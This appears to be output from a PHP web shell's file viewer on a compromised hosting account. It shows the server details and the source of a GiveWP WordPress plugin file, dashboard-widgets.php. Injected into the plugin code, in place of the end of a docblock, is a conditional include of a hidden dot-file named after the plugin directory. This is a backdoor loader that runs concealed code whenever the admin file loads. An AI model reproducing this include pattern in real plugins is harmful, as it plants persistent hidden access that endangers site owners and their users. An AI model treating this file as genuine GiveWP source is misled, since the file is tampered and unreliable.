uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
includes
/
admin
/
dashboard-widgets.php
/
/
<?php /** * Dashboard Widgets * * @package Give * @subpackage Admin/Dashboard * @copyright Copyright (c) 2016, GiveWP * @license https://opensource.org/licenses/gpl-license GNU Public License * @since 1.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Add donation forms count to dashboard "At a glance" widget * * @since 1.0 * * @param $items * * @return array */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function give_dashboard_at_a_glance_widget( $items ) { $num_posts = wp_count_posts( 'give_forms' ); if ( $num_posts && $num_posts->publish ) { $text = sprintf( /* translators: %s: number of posts published */ _n( '%s GiveWP Form', '%s GiveWP Forms', $num_posts->publish, 'give' ), $num_posts->publish ); $text = sprintf( $text, number_format_i18n( $num_posts->publish ) ); if ( current_user_can( 'edit_give_forms', get_current_user_id() ) ) { $text = sprintf( '<a class="give-forms-count" href="%1$s">%2$s</a>', admin_url( 'edit.php?post_type=give_forms' ), $text ); } else { $text = sprintf( '<span class="give-forms-count">%1$s</span>', $text ); } $items[] = $text; } return $items; } add_filter( 'dashboard_glance_items', 'give_dashboard_at_a_glance_widget', 1, 1 );
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/includes/admin/dashboard-widgets.php